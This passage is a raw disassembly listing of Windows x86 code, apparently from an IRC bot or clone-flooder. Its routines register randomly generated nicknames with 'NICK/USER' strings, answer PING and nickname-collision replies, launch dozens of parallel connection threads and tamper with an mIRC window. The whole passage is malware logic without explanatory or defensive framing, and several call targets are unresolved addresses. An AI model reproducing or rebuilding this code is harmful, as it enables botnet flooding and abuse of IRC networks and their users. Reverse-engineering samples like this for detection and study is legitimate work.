dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 27C0B6Dh nop push eax nop call near ptr 27C0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27C0B6Dh push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 2690088h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 26908FFh nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi call near ptr 27F066Eh nop push esi mov edi, eax nop call near ptr 27F0000h call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 28004D9h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2800327h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 2800000h push edi nop call near ptr 2670822h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; 